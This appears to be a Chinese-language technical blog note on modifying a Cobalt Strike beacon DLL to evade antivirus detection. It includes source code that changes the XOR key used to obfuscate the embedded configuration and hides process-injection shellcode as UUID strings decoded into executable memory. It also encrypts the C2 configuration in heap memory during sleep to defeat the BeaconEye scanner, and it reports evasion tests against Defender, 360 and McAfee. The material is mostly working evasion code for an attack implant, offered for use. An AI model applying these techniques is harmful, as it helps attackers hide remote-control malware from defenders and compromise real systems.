cobalt strike beacon dll 改造实现免杀
前言:beacon dll 改造实现笔记
参考文章:https://github.com/WBGlIl/ReBeacon_Src
技术不到位,下不了手,而且相关的反射dll进程注入也有点问题,更多的可以参考https://github.com/H4de5-7/geacon_pro 这份,代码简洁易懂
异或特征修改
自己大概看完ReBeacon_Src项目之后,profile的特征点太大,虽然进行了异或加密,但是异或加密算法^0x2Eu
是固定写死的
beaconMain.cpp
// 解密内嵌的配置信息
for (int i = 0; i < 0x1000; ++i)
{
rawData[i] ^= 0x2Eu;
}
那么这种情况下在解密的时候,这一串字节数组就是很大的特征点,放到virtualtotal检测也验证了这种情况,报毒的全是shellcode
定位到客户端代码中异或加密profile的部分,代码位于beacon.BeaconPayload#beacon_obfuscate
for(int var2 = 0; var2 < var0.length; ++var2) {
var1[var2] = (byte)(var0[var2] ^ 46);
}
这里修改的话直接将异或46的值修改为47
对应的beacon中的代码同样改为47,十六进制对应0x2Fu
替换配置文件的时候直接搜索0x2F 0x2E 0x2F 0x2E 0x2F
即可,然后进行替换测试上线,发现还是可以上线执行命令的,到这里的话第一处就改好了
shellcode特征码修改
将其改造成注入的时候进行uuid解码,注入完成之后进行释放解码时候的内存空间即可
Global.cpp
const unsigned char sub_10033020_length[76] = {
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01
};
const unsigned char sub_10033070_length[297] = {
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
};
const char* sub_10033020_uuid[] = {
"56e58955-8b57-0875-8b4d-0ce800000000",
"25c08358-ec83-8908-e2c7-420433000000",
"09e80289-0000-8300-c414-5f5e5dc20800",
"ff243c8b-482a-c031-57ff-d65f50c74424",
"00002304-8900-243c-ff2c-240000000000",
};
const char* sub_10033070_uuid[] = {
"ce8948fc-8948-48e7-83e4-f0e8c8000000",
"50415141-5152-4856-31d2-65488b526048",
"4818528b-528b-4820-8b72-50480fb74a4a",
"48c9314d-c031-3cac-617c-022c2041c1c9",
"c101410d-ede2-4152-5148-8b52208b423c",
"66d00148-7881-0b18-0275-728b80880000",
"c0854800-6774-0148-d050-8b4818448b40",
"d0014920-56e3-ff48-c941-8b34884801d6",
"48c9314d-c031-41ac-c1c9-0d4101c138e0",
"034cf175-244c-4508-39d1-75d858448b40",
"d0014924-4166-0c8b-4844-8b401c4901d0",
"88048b41-0148-41d0-5841-585e595a4158",
"5a415941-8348-20ec-4152-ffe05841595a",
"e9128b48-ff4f-ffff-5d4d-31c94151488d",
"ff501846-1076-76ff-0841-51415149b801",
"00000000-0000-4800-31d2-488b0e41bac8",
"ff40a438-48d5-c085-740c-48b800000000",
"00000000-0aeb-b848-0100-000000000000",
"50c48348-8948-c3fc-0000-000000000000"
};
common.cpp
#pragma pack(1)
typedef struct {
char field_0[sizeof(sub_10033020_length)];
HANDLE hProcess;
DWORD field_12D;
PVOID StartAddress;
DWORD field_135;
PVOID lpParameter;
DWORD field_13D;
HANDLE hThread;
DWORD field_145;
}BeaconShellcode;
#pragma pack()
int sub_1000535D(HANDLE hProcess, LPVOID BaseAddress, LPVOID lpParameter)
{
OSVERSIONINFOA VersionInformation = { 0 };
VersionInformation.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA);
if (!GetVersionExA(&VersionInformation))
{
return 0;
}
if (VersionInformation.dwMajorVersion == 5 && VersionInformation.dwMinorVersion == 2)
{
SetLastError(5);
return 0;
}
char* lpAddress = (char*)VirtualAlloc(0, sizeof(sub_10033020_length), MEM_COMMIT| MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!lpAddress)
{
return 0;
}
DWORD dw_buf_num;
DWORD_PTR p_ptr;
BeaconShellcode* lpAddress2 = (BeaconShellcode*)VirtualAlloc(0, sizeof(BeaconShellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!lpAddress2)
{
VirtualFree(lpAddress, 0, MEM_RELEASE);
return 0;
}
// Generate uuid Decode
dw_buf_num = sizeof((unsigned char*)sub_10033020_uuid) / sizeof(sub_10033020_uuid[0]);
p_ptr = (DWORD_PTR)lpAddress;
for (size_t i = 0; i < dw_buf_num; i++)
{
RPC_STATUS rpc_status = UuidFromStringA((unsigned char*)sub_10033020_uuid[i], (UUID*)p_ptr);
if (rpc_status != RPC_S_OK) {
return -1;
}
p_ptr += 16;
}
// Generate uuid Decode
dw_buf_num = sizeof((unsigned char*)sub_10033070_uuid) / sizeof(sub_10033070_uuid[0]);
p_ptr = (DWORD_PTR)lpAddress2;
for (size_t i = 0; i < dw_buf_num; i++)
{
RPC_STATUS rpc_status = UuidFromStringA((unsigned char*)sub_10033070_uuid[i], (UUID*)p_ptr);
if (rpc_status != RPC_S_OK) {
return -1;
}
p_ptr += 16;
}
//memcpy(lpAddress, sub_10033020, sizeof(sub_10033020));
//memcpy(lpAddress2, sub_10033070, sizeof(sub_10033070));
lpAddress2->hThread = 0;
lpAddress2->hProcess = hProcess;
lpAddress2->StartAddress = BaseAddress;
lpAddress2->lpParameter = lpParameter;
if (!((int(__stdcall*)(BeaconShellcode*, HANDLE*))lpAddress)(lpAddress2, &lpAddress2->hProcess))
{
VirtualFree(lpAddress, 0, MEM_RELEASE);
VirtualFree(lpAddress2, 0, MEM_RELEASE);
SetLastError(5);
return 0;
}
if (!lpAddress2->hThread)
{
VirtualFree(lpAddress, 0, MEM_RELEASE);
VirtualFree(lpAddress2, 0, MEM_RELEASE);
SetLastError(6);
return 0;
}
ResumeThread(lpAddress2->hThread);
VirtualFree(lpAddress, 0, MEM_RELEASE);
VirtualFree(lpAddress2, 0, MEM_RELEASE);
return 1;
}
测试下还是可以正常执行
C2Config堆内存加密
发现一个问题就是虽然在c2 profile中配置了sleep_mask,但是通过beaconEye工具还是检测到了C2Config
在BeaconSleep.cpp中对每次sleep之后进行异或加密即可隐藏配置信息
再次通过扫描进行扫描不出来了
通信标识符
在服务端和beacon通信的时候存在部分标志位的特征,可以同样可以进行修改,这里就不记录了
关于ReBeacon_Src的profile一个小bug
当自定义profile的http-get或者post的时候mask属性值来进行加密操作的时候
在beacon端的comm.cpp的xor_decode解密的时候,如果v8+v9去数组取值会导致错误
这里需要改为v11 = *(char*)(out + v8 + v9) ^ in[v8 & 3];
就可以正常运行了
杀毒测试
defender的环境测试如下所示
360核晶模式的环境测试如下所示
麦咖啡的环境测试如下所示